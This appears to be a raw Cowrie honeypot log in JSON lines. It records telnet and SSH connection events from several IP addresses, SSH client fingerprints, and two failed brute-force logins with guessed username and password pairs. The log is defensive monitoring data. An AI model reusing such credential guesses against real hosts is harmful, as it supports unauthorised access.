{"eventid":"cowrie.session.closed","duration":31.71193289756775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:52.725360Z","src_ip":"185.53.58.141","session":"0356033722d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60268,"dst_ip":"159.203.135.109","dst_port":23,"session":"344e1b995012","protocol":"telnet","message":"New connection: 69.6.196.124:60268 (159.203.135.109:23) [session: 344e1b995012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:53.514138Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60362,"dst_ip":"159.203.135.109","dst_port":23,"session":"58447e2efed7","protocol":"telnet","message":"New connection: 69.6.196.124:60362 (159.203.135.109:23) [session: 58447e2efed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:54.223195Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60330,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4c8abad938d","protocol":"telnet","message":"New connection: 69.6.196.124:60330 (159.203.135.109:23) [session: f4c8abad938d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:54.443348Z"}
{"eventid":"cowrie.session.closed","duration":31.46055769920349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:54.496436Z","src_ip":"69.6.196.124","session":"c87974f545aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50238275527954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:54.555064Z","src_ip":"69.6.196.124","session":"67c1a7d5c918","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60346,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4816702265c","protocol":"telnet","message":"New connection: 69.6.196.124:60346 (159.203.135.109:23) [session: a4816702265c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:54.601769Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60338,"dst_ip":"159.203.135.109","dst_port":23,"session":"98af8a49dc02","protocol":"telnet","message":"New connection: 69.6.196.124:60338 (159.203.135.109:23) [session: 98af8a49dc02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:54.632978Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":44300,"dst_ip":"10.17.0.5","dst_port":23,"session":"399948556a5f","protocol":"telnet","message":"New connection: 185.53.58.141:44300 (10.17.0.5:23) [session: 399948556a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:54.696029Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60368,"dst_ip":"159.203.135.109","dst_port":23,"session":"3da4c0983c77","protocol":"telnet","message":"New connection: 69.6.196.124:60368 (159.203.135.109:23) [session: 3da4c0983c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:55.072077Z"}
{"eventid":"cowrie.session.closed","duration":31.230887174606323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:55.114141Z","src_ip":"69.6.196.124","session":"570f5fd90ab7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60374,"dst_ip":"159.203.135.109","dst_port":23,"session":"f70bb0ff4927","protocol":"telnet","message":"New connection: 69.6.196.124:60374 (159.203.135.109:23) [session: f70bb0ff4927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:55.240854Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60386,"dst_ip":"159.203.135.109","dst_port":23,"session":"0895bde1f117","protocol":"telnet","message":"New connection: 69.6.196.124:60386 (159.203.135.109:23) [session: 0895bde1f117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:55.370854Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60400,"dst_ip":"159.203.135.109","dst_port":23,"session":"aee80d764ae2","protocol":"telnet","message":"New connection: 69.6.196.124:60400 (159.203.135.109:23) [session: aee80d764ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:55.425874Z"}
{"eventid":"cowrie.session.closed","duration":30.931459665298462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:55.640503Z","src_ip":"69.6.196.124","session":"9ec18bfab749","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.684083461761475,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:55.777037Z","src_ip":"69.6.196.124","session":"d241941af49b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60318,"dst_ip":"159.203.135.109","dst_port":23,"session":"17b030a51e49","protocol":"telnet","message":"New connection: 69.6.196.124:60318 (159.203.135.109:23) [session: 17b030a51e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:55.913078Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60402,"dst_ip":"159.203.135.109","dst_port":23,"session":"76da9350f616","protocol":"telnet","message":"New connection: 69.6.196.124:60402 (159.203.135.109:23) [session: 76da9350f616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:57.236570Z"}
{"eventid":"cowrie.session.closed","duration":30.926603078842163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:57.394696Z","src_ip":"69.6.196.124","session":"c51a0ac6e6f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38901925086975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:57.406940Z","src_ip":"69.6.196.124","session":"df1973cc7a7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.412546157836914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:57.418311Z","src_ip":"69.6.196.124","session":"8442815d81be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60410,"dst_ip":"159.203.135.109","dst_port":23,"session":"64b0b1806d8c","protocol":"telnet","message":"New connection: 69.6.196.124:60410 (159.203.135.109:23) [session: 64b0b1806d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:57.491064Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60426,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a8d5be94a43","protocol":"telnet","message":"New connection: 69.6.196.124:60426 (159.203.135.109:23) [session: 0a8d5be94a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:57.522049Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60430,"dst_ip":"159.203.135.109","dst_port":23,"session":"83717e3db4a3","protocol":"telnet","message":"New connection: 69.6.196.124:60430 (159.203.135.109:23) [session: 83717e3db4a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:57.658354Z"}
{"eventid":"cowrie.session.closed","duration":31.212640047073364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:57.673928Z","src_ip":"69.6.196.124","session":"c9e2f6920eb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110702753067017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:57.685333Z","src_ip":"69.6.196.124","session":"72764dc8da3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.90259861946106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:58.209006Z","src_ip":"69.6.196.124","session":"0eca0b30a2b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72105050086975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:58.315818Z","src_ip":"69.6.196.124","session":"f2278cec0d5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60462,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a020e968d01","protocol":"telnet","message":"New connection: 69.6.196.124:60462 (159.203.135.109:23) [session: 8a020e968d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:58.333881Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60446,"dst_ip":"159.203.135.109","dst_port":23,"session":"61d7b2f9f472","protocol":"telnet","message":"New connection: 69.6.196.124:60446 (159.203.135.109:23) [session: 61d7b2f9f472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:58.922996Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60466,"dst_ip":"159.203.135.109","dst_port":23,"session":"de8a5517c8e3","protocol":"telnet","message":"New connection: 69.6.196.124:60466 (159.203.135.109:23) [session: de8a5517c8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:59.246757Z"}
{"eventid":"cowrie.session.closed","duration":30.938257217407227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:59.371613Z","src_ip":"69.6.196.124","session":"13f0b61e87b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22060465812683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:59.545017Z","src_ip":"69.6.196.124","session":"abf6101e5213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56052,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb75050095f0","protocol":"telnet","message":"New connection: 69.6.196.124:56052 (159.203.135.109:23) [session: bb75050095f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:59.703759Z"}
{"eventid":"cowrie.session.closed","duration":30.804266214370728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:59.877135Z","src_ip":"69.6.196.124","session":"6271654633b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136967658996582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:00.195405Z","src_ip":"69.6.196.124","session":"fa130d2c2c52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56066,"dst_ip":"159.203.135.109","dst_port":23,"session":"306d7ef07c74","protocol":"telnet","message":"New connection: 69.6.196.124:56066 (159.203.135.109:23) [session: 306d7ef07c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:00.230807Z"}
{"eventid":"cowrie.session.closed","duration":31.543203592300415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:00.256765Z","src_ip":"69.6.196.124","session":"d566604d8c31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57572293281555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:00.263981Z","src_ip":"69.6.196.124","session":"8610885a861d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56072,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a4e0f23c082","protocol":"telnet","message":"New connection: 69.6.196.124:56072 (159.203.135.109:23) [session: 5a4e0f23c082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:00.270166Z"}
{"eventid":"cowrie.session.closed","duration":30.768626928329468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:00.331866Z","src_ip":"69.6.196.124","session":"1b18144274e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58030676841736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:00.380889Z","src_ip":"69.6.196.124","session":"8881f714a391","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":33626,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ce4f7b86475","protocol":"ssh","message":"New connection: 201.184.50.251:33626 (10.17.0.5:22) [session: 0ce4f7b86475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:00.400405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:00.404968Z","src_ip":"201.184.50.251","session":"0ce4f7b86475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:00.510656Z","src_ip":"201.184.50.251","session":"0ce4f7b86475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56086,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0068f24a6bb","protocol":"telnet","message":"New connection: 69.6.196.124:56086 (159.203.135.109:23) [session: c0068f24a6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:00.801594Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root@1234","message":"login attempt [ubuntu/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:00.956514Z","src_ip":"201.184.50.251","session":"0ce4f7b86475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.092318058013916,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:00.981856Z","src_ip":"69.6.196.124","session":"ab426d88c9d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.477129459381104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:00.991450Z","src_ip":"69.6.196.124","session":"9c4f090efc55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56116,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ad8acc04c63","protocol":"telnet","message":"New connection: 69.6.196.124:56116 (159.203.135.109:23) [session: 9ad8acc04c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:01.080185Z"}
{"eventid":"cowrie.session.closed","duration":30.279329776763916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:01.326238Z","src_ip":"69.6.196.124","session":"9a79d57f7bc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43577289581299,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:01.456972Z","src_ip":"69.6.196.124","session":"184b0a6589b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.501734256744385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:01.834090Z","src_ip":"69.6.196.124","session":"0a4deac48c87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.775439500808716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:01.870060Z","src_ip":"69.6.196.124","session":"9d00e7c00e06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09949541091919,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:01.944545Z","src_ip":"69.6.196.124","session":"8f99fb078787","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13295030593872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:02.041208Z","src_ip":"69.6.196.124","session":"d3bddfdf822c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:02.062968Z","src_ip":"201.184.50.251","session":"0ce4f7b86475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.658941745758057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:02.080513Z","src_ip":"69.6.196.124","session":"6ab6f862bbd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.697246074676514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:02.258999Z","src_ip":"69.6.196.124","session":"f707c52ddb87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.525511741638184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:02.357732Z","src_ip":"69.6.196.124","session":"971eee660b7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.939246892929077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:02.403525Z","src_ip":"69.6.196.124","session":"b82a84058e25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56134,"dst_ip":"159.203.135.109","dst_port":23,"session":"653ff9cd093d","protocol":"telnet","message":"New connection: 69.6.196.124:56134 (159.203.135.109:23) [session: 653ff9cd093d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:02.753613Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56136,"dst_ip":"159.203.135.109","dst_port":23,"session":"19f875fb917d","protocol":"telnet","message":"New connection: 69.6.196.124:56136 (159.203.135.109:23) [session: 19f875fb917d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:02.934576Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56144,"dst_ip":"159.203.135.109","dst_port":23,"session":"aac63b3cdbe4","protocol":"telnet","message":"New connection: 69.6.196.124:56144 (159.203.135.109:23) [session: aac63b3cdbe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:03.013920Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56150,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec488762ed98","protocol":"telnet","message":"New connection: 69.6.196.124:56150 (159.203.135.109:23) [session: ec488762ed98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:03.264887Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":57766,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ffad566014c","protocol":"ssh","message":"New connection: 193.24.211.95:57766 (159.203.135.109:22) [session: 4ffad566014c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:03.274640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:03.279867Z","src_ip":"193.24.211.95","session":"4ffad566014c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:03.544588Z","src_ip":"193.24.211.95","session":"4ffad566014c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.888265371322632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:03.619397Z","src_ip":"69.6.196.124","session":"7ab90b498e82","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#123qweQWE","message":"login attempt [root/!@#123qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:03.971610Z","src_ip":"193.24.211.95","session":"4ffad566014c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56176,"dst_ip":"159.203.135.109","dst_port":23,"session":"71781e25d671","protocol":"telnet","message":"New connection: 69.6.196.124:56176 (159.203.135.109:23) [session: 71781e25d671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:03.989796Z"}
